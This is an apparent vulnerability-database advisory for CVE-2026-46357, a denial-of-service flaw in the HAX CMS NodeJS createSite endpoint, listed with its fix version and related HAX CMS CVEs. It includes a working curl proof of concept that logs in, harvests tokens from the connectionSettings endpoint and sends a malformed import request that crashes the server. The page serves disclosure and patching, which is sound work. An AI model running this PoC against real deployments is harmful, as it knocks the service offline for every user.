CVE-2026-46357: HAX CMS: Denial of Service using Malicious Import Request
Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Details The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.
Published May 19, 2026 · Updated Jun 9, 2026
Affected packages
@haxtheweb/haxcms-nodejs
- Ecosystem
- npm
- Affected
- < 26.0.0
- Fixed in
- 26.0.0
- Check
npm ls @haxtheweb/haxcms-nodejs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.
Details
The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.
The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).
As a result:
- the request reaches privileged code inside
createSite - the server hits the remote file handling path
- the process crashes before
downloadAndSaveFile()performs the outbound request - no imported file is written into the site directory
Affected Resources
- src/routes/createSite.js:176
- src/lib/HAXCMSFile.js:25
- system/api/createSite
PoC
- Obtain a JWT by logging in with valid credentials.
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)- Extract the required tokens from the
connectionSettingsendpoint.
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)- Send the malformed request to crash the server.
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
-H 'Content-Type: application/json' \
-d "{
\"token\": \"$ROOT_TOKEN\",
\"site\": { \"name\": \"dos-poc\" },
\"theme\": {},
\"build\": {
\"structure\": \"import\",
\"type\": \"import\",
\"items\": [],
\"files\": {
\"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
}
}
}"The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.
Impact
An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
Credited to silentrex04.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-48527
HaxCMS has a stored Cross-Site Scripting (XSS) bypass in its saveNode endpoint
high8.7May 29, 2026CVE-2026-46393
HAXcms createSite SSRF Enables Arbitrary File Read
high7.1May 19, 2026CVE-2026-46395
HAXcms: Private Key Disclosure via Broken HMAC Implementation
critical9.3May 19, 2026CVE-2026-46396
Stored XSS via <iframe> in HAX CMS allows access to sensitive client-side data and account takeover
high8.6May 19, 2026CVE-2026-46496
HAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theft
medium5.1May 19, 2026CVE-2026-46511
HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
high8.7May 19, 2026
